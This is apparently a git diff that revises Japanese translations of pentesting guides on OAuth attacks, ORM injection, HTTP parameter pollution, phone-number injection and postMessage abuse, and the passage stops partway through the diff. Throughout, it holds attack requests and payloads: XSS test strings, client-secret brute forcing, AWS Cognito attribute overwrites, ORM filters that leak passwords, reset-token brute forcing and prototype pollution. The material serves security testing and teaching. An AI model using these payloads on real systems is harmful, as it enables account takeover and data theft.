**authorization server**: **リソースオーナー**の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例：**https://socialmedia.com**。 -- **client_id**: アプリケーションのための公開の一意の識別子。 -- **client_secret:** アプリケーションと認可サーバーのみが知る機密鍵で、`access_tokens`を生成するために使用されます。 +- **client application**: `resource owner`からの認可を求める**アプリケーション**、例：**https://example.com**。 +- **authorization server**: `resource owner`の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例：**https://socialmedia.com**。 +- **client_id**: アプリケーションの公開されている一意の識別子。 +- **client_secret:** アプリケーションと認可サーバーのみが知っている機密鍵で、`access_tokens`を生成するために使用されます。 - **response_type**: **要求されるトークンのタイプ**を指定する値、例：`code`。 - **scope**: `client application`が`resource owner`から要求している**アクセスレベル**。 -- **redirect_uri**: **認可後にユーザーがリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。 +- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。 - **state**: **ユーザーの認可サーバーへのリダイレクト中にデータを維持するためのパラメータ**。ユニーク性は**CSRF保護メカニズム**として機能するために重要です。 - **grant_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。 - **code**: `authorization server`からの認可コードで、`client application`が`access_token`を取得するために`client_id`および`client_secret`と共に使用します。 @@ -30,7 +30,7 @@ OAuth 2.0フレームワーク内の以下のコンポーネントを理解す **実際のOAuthフロー**は次のように進行します： 1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。 -2. サイトは次に、あなたの投稿にアクセスするためにhttps://example.comのアプリケーションに許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます： +2. サイトは次に、あなたの投稿にアクセスするための許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます： ``` https://socialmedia.com/auth ?response_type=code @@ -50,23 +50,23 @@ POST /oauth/access_token Host: socialmedia.com ...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"} ``` -6. 最後に、プロセスは https://example.com があなたの `access_token` を使用して Social Media に API コールを行い、アクセスすることで終了します。 +6. 最後に、プロセスは https://example.com があなたの `access_token` を使用してソーシャルメディアにAPIコールを行い、アクセスすることで終了します。 ## 脆弱性 ### オープンリダイレクト_uri -`redirect_uri` は OAuth と OpenID の実装においてセキュリティにとって重要であり、認可後に認可コードのような機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトすることを許可し、アカウントの乗っ取りを可能にすることがあります。 +`redirect_uri` はOAuthおよびOpenIDの実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントの乗っ取りを可能にすることがあります。 -悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意の URL を受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のための HTML インジェクションが含まれます。 +悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意のURLを受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のためのHTMLインジェクションが含まれます。 -`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などの OAuth および OpenID パラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、そのサポートはサーバーによって異なります。 +`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などのOAuthおよびOpenIDパラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。 -OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント (`**.well-known/openid-configuration**`) は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" のような貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。 +OpenIDサーバーをターゲットにする場合、ディスカバリーエンドポイント（`**.well-known/openid-configuration**`）は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。 -### リダイレクト実装における XSS +### リダイレクト実装におけるXSS -このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される可能性があり**、**XSS に対して脆弱である**かもしれません。テストするための可能なペイロード: +このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URLがサーバーの応答に反映される可能性があり**、**XSSに対して脆弱である**かもしれません。テストするための可能なペイロード: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` @@ -74,16 +74,16 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard 1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスを使用してログインすると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。 -2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを利用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することで悪用する可能性があります。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。 +2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用し、自分のサービスに登録した後、アカウントのメールを被害者のものに変更することができます。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。 ### 秘密の開示 @@ -93,7 +93,7 @@ OAuthの実装において、**`state`パラメータ**の誤用または省略 ### クライアントシークレットブルートフォース -サービスプロバイダーのアイデンティティプロバイダーに対して**クライアントシークレットをブルートフォース**し、アカウントを盗む試みを行うことができます。\ +サービスプロバイダーのクライアントシークレットをブルートフォースで試みて、アカウントを盗むことができます。\ ブルートフォースのリクエストは次のようになる可能性があります: ``` POST /token HTTP/1.1 @@ -106,15 +106,15 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ``` ### Referer Header leaking Code + State -クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダー内に反映される**と、脆弱性があります。 +クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダーに反映されている**と、脆弱です。 ### Access Token Stored in Browser History -**ブラウザの履歴にアクセス トークンが保存されているか確認します**。 +**ブラウザの履歴にアクセス トークンが保存されているか確認してください**。 ### Everlasting Authorization Code -**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、一定の時間だけ存在する必要があります**。 +**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、しばらくの間だけ存在するべきです**。 ### Authorization/Refresh Token not bound to client @@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ### AWS Cognito -このバグバウンティレポートでは、[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**が**ユーザーデータを上書きするのに十分な権限を持っている可能性がある**ことがわかります。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。 +このバグバウンティレポートでは: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**は、**ユーザーデータを上書きするのに十分な権限を持っている可能性があります**。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。 ```bash # Read info of the user aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] @@ -143,52 +143,52 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ ] } ``` -AWS Cognitoを悪用する方法の詳細については、次を確認してください: +For more detailed info about how to abuse AWS cognito check: {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %} -### 他のアプリのトークンを悪用する +### Abusing other Apps tokens -[**この書き込みで言及されているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**（コードではなく）を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。 +[**この書き込みで述べられているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**（コードではなく）を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。 -これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成する**ことができるためです。次に、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のユーザーに与えられたOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。 +これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成できるためです**。その後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のユーザーに与えられたOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。 > [!CAUTION] -> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができるでしょう。 +> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。 -### 2つのリンクとクッキー +### Two links & cookie [**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキー（RU）**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。 このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定するために**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。 -### プロンプトインタラクションバイパス +### Prompt Interaction Bypass -[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone（**`&prompt=none`**）として指定することができ、ユーザーがプラットフォームにすでにログインしている場合、ウェブ上で与えられたアクセスを確認するように求められないようにします。 +[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone（**`&prompt=none`**）として指定することで、ユーザーがプラットフォームにすでにログインしている場合に、ウェブ上で与えられたアクセスを確認するように求められないようにすることができます。 ### response_mode -[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、最終URLでコードを提供したい場所を示すために**`response_mode`**パラメータを指定することが可能です： +[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供したいかを示すことが可能です： -- `response_mode=query` -> コードはGETパラメータ内に提供されます: `?code=2397rf3gu93f` -- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます `#code=2397rf3gu93f` +- `response_mode=query` -> コードはGETパラメータ内に提供されます：`?code=2397rf3gu93f` +- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます`#code=2397rf3gu93f` - `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供されます -- `response_mode=web_message` -> コードはポストメッセージで送信されます: `window.opener.postMessage({"code": "asdasdasd...` +- `response_mode=web_message` -> コードはポストメッセージで送信されます：`window.opener.postMessage({"code": "asdasdasd...` -### OAuth ROPCフロー - 2FAバイパス +### OAuth ROPC flow - 2 FA bypass -[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAをバイパスすることが可能です。 +[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAを回避することが可能です。 -### オープンリダイレクトに基づくウェブページのリダイレクトでのATO +### ATO on web page redirecting based on open redirect to referrer -この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを実行する方法について説明しています。攻撃は次のとおりです： +この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を使用してOAuthを悪用し、ATOを実行する方法について説明しています。攻撃は次のとおりです： 1. 被害者が攻撃者のウェブページにアクセスします 2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。 -3. オープナーで、プロバイダーが被害者を認可すると、`redirect_uri`パラメータの値（被害者のウェブ）に30Xコードで戻しますが、リファラーには攻撃者のウェブサイトが残ります。 -4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードは**URLのフラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。 +3. オープナーで、プロバイダーが被害者を認証すると、`redirect_uri`パラメータの値（被害者のウェブ）に30Xコードで戻します。これにより、攻撃者のウェブサイトがリファラーに残ります。 +4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードはURLの**フラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。 -### SSRFのパラメータ +### SSRFs parameters [**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。** @@ -196,26 +196,27 @@ OAuthにおける動的クライアント登録は、特に**サーバーサイ **重要なポイント：** -- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、およびロゴやJSON Web Key Sets（JWKs）のURLなどの詳細をPOSTリクエストで受け入れます。 +- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、ロゴやJSON Web Key Sets（JWKs）のURLなどの詳細をPOSTリクエストで受け入れます。 - この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。 - 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります： -- **`logo_uri`**: サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。 -- **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う原因となる可能性があります。 -- **`sector_identifier_uri`**: サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。 -- **`request_uris`**: クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。 +- **`logo_uri`**：サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。 +- **`jwks_uri`**：クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う可能性があります。 +- **`sector_identifier_uri`**：サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。 +- **`request_uris`**：クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。 **悪用戦略：** - SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでトリガーされる可能性があります。 - `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。 -## OAuthプロバイダーのレースコンディション +## OAuth providers Race Conditions -テストしているプラットフォームがOAuthプロバイダーである場合、[**レースコンディションの可能性をテストするためにこれを読んでください**](race-condition.md)。 +テストしているプラットフォームがOAuthプロバイダーである場合、[**レース条件の可能性をテストするためにこれを読んでください**](race-condition.md)。 -## 参考文献 +## References - [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1) - [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md index 1b1b91711..f4c8b79bc 100644 --- a/src/pentesting-web/orm-injection.md +++ b/src/pentesting-web/orm-injection.md @@ -4,7 +4,7 @@ ## Django ORM (Python) -In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます。 +In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます： 
class ArticleView(APIView):
 """
@@ -21,9 +21,9 @@ return Response(serializer.data)
 
 すべてのrequest.data（これはjsonになります）が**データベースからオブジェクトをフィルタリングするために**直接渡されることに注意してください。攻撃者は予期しないフィルタを送信することで、期待以上のデータを漏洩させることができます。
 
-例:
+例：
 
-- **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
+- **ログイン：** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
 ```json
 {
 "username": "admin",
@@ -33,7 +33,7 @@ return Response(serializer.data)
 > [!CAUTION]
 > パスワードをブルートフォースして漏洩させることが可能です。
 
-- **リレーショナルフィルタリング**: 操作で使用されることすら予期されていなかったカラムから情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
+- **リレーショナルフィルタリング**: 操作に使用されることすら予想されていなかった列から情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
 ```json
 {
 "created_by__user__password__contains": "pass"
@@ -51,7 +51,7 @@ return Response(serializer.data)
 > [!CAUTION]
 > この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます（前のjsonではユーザー名を漏洩させているだけですが、その後にパスワードを漏洩させることが可能です）。
 
-- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトでこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスする**ためのデフォルトの方法です。
+- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトではこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスするためのデフォルトの方法**です。
 ```bash
 # By users in the same group
 created_by__user__groups__user__password
@@ -201,7 +201,7 @@ res.json([])
 }
 })
 ```
-未公開の記事を漏洩させることは、`Category` -\[\*..\*]-> `Article` の多対多の関係を利用することで可能です：
+`Category` -\[\*..\*]-> `Article` の多対多の関係を利用して、未発表の記事を漏洩させることが可能です。
 ```json
 {
 "query": {
@@ -220,7 +220,7 @@ res.json([])
 }
 }
 ```
-すべてのユーザーを漏洩させることも可能であり、いくつかのループバック多対多関係を悪用します:
+ループバックの多対多関係を悪用することで、すべてのユーザーを漏洩させることも可能です:
 ```json
 {
 "query": {
@@ -267,7 +267,7 @@ res.json([])
 ]
 }
 ```
-`{CONTAINS_LIST}`は、**正しい漏洩が見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
+`{CONTAINS_LIST}`は、**正しいリークが見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
 
 ## **Ransack (Ruby)**
 
@@ -283,7 +283,7 @@ def index
 @posts = @q.result(distinct: true)
 end
 ```
-攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、リセットトークンをブルートフォースすることが可能でした:
+攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、次のようにリセットトークンをブルートフォースすることが可能でした：
 ```http
 GET /posts?q[user_reset_password_token_start]=0
 GET /posts?q[user_reset_password_token_start]=1
diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md
index afd5c15bd..a5fbceccc 100644
--- a/src/pentesting-web/parameter-pollution.md
+++ b/src/pentesting-web/parameter-pollution.md
@@ -10,11 +10,11 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
 
 ### HTTPパラメータ汚染 (HPP) の例
 
-銀行アプリケーションの取引URL：
+銀行アプリケーションの取引URL:
 
 - **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
 
-追加の`from`パラメータを挿入することによって：
+追加の`from`パラメータを挿入することによって:
 
 - **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
 
@@ -22,12 +22,12 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
 
 #### **技術特有のパラメータ解析**
 
-- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響します。
+- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響を与えます。
 - [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
 
 ### PHPとHPPの悪用
 
-**OTP操作ケース：**
+**OTP操作ケース:**
 
 - **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
 - **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の`email`パラメータを複製しました。
@@ -35,9 +35,9 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
 
 このシナリオは、OTP生成のために最初の`email`パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています。
 
-**APIキー操作ケース：**
+**APIキー操作ケース:**
 
-- **シナリオ:** アプリケーションはユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
+- **シナリオ:** アプリケーションは、ユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
 - **攻撃ベクトル:** 攻撃者は、POSTリクエストに追加の`api_key`パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
 - **技術:** Burp Suiteのようなツールを利用して、攻撃者は1つの正当な`api_key`パラメータと1つの悪意のある`api_key`パラメータを含むリクエストを作成します。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
 - **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
@@ -46,14 +46,14 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
 
 ### パラメータ解析: Flask vs. PHP
 
-ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます：
+ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
 
-- **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複より優先します。
+- **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複よりも優先します。
 - **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では`a=2`を選択します。この動作は、攻撃者が操作したパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
 
 ## 技術によるパラメータ汚染
 
-結果は [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89) から取得されました。
+結果は[https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)から取得されました。
 
 ### PHP 8.3.11 および Apache 2.4.62 
 
@@ -79,7 +79,7 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
 1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping。
 2. POST RequestMapping & PostMappingはname\[]を認識します。
 3. nameとname\[]が存在する場合はnameを優先します。
-4. パラメータを連結します（例：first,last）。
+4. パラメータを連結します。例: first,last。
 5. POST RequestMapping & PostMappingはContent-Typeを持つクエリパラメータを認識します。
 
 ### **NodeJS** 20.17.0 **および** Express 4.21.0 
@@ -87,7 +87,7 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg

 
 1. name\[]を認識します。
-2. パラメータを連結します（例：first,last）。
+2. パラメータを連結します。例: first,last。
 
 ### GO 1.22.7 
 
diff --git a/src/pentesting-web/phone-number-injections.md b/src/pentesting-web/phone-number-injections.md
index d77f228cd..5ae3288c7 100644
--- a/src/pentesting-web/phone-number-injections.md
+++ b/src/pentesting-web/phone-number-injections.md
@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-電話番号の**末尾に文字列を追加する**ことが可能で、これを利用して一般的なインジェクション（XSS、SQLi、SSRF...）を悪用したり、保護を回避したりすることができます：
+電話番号の**末尾に文字列を追加する**ことが可能で、これにより一般的なインジェクション（XSS、SQLi、SSRF...）を悪用したり、保護を回避したりすることができます：
 
 
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0

 
diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
index 4b502e6c4..10888bd91 100644
--- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
+++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
@@ -5,10 +5,10 @@
 これらのPoCとポリグロスの目的は、テスターに**応答に何らかの形で反映される入力**を利用して悪用できる脆弱性の迅速な**概要**を提供することです。
 
 > [!WARNING]
-> この**チートシートは各脆弱性のテストの包括的なリストを提案していません**、基本的なもののみです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
+> この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
 
 > [!CAUTION]
-> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、xmlデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、反映される可能性のあるコンテンツがあっても、バックエンドDB技術と構造に大きく依存します。
+> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、いくつかのコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存します。
 
 ## Polygloths list
 ```python
diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md
index dd112d37c..72bc34a18 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/README.md
@@ -39,7 +39,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 ### iframe と **targetOrigin** のワイルドカードを攻撃する
 
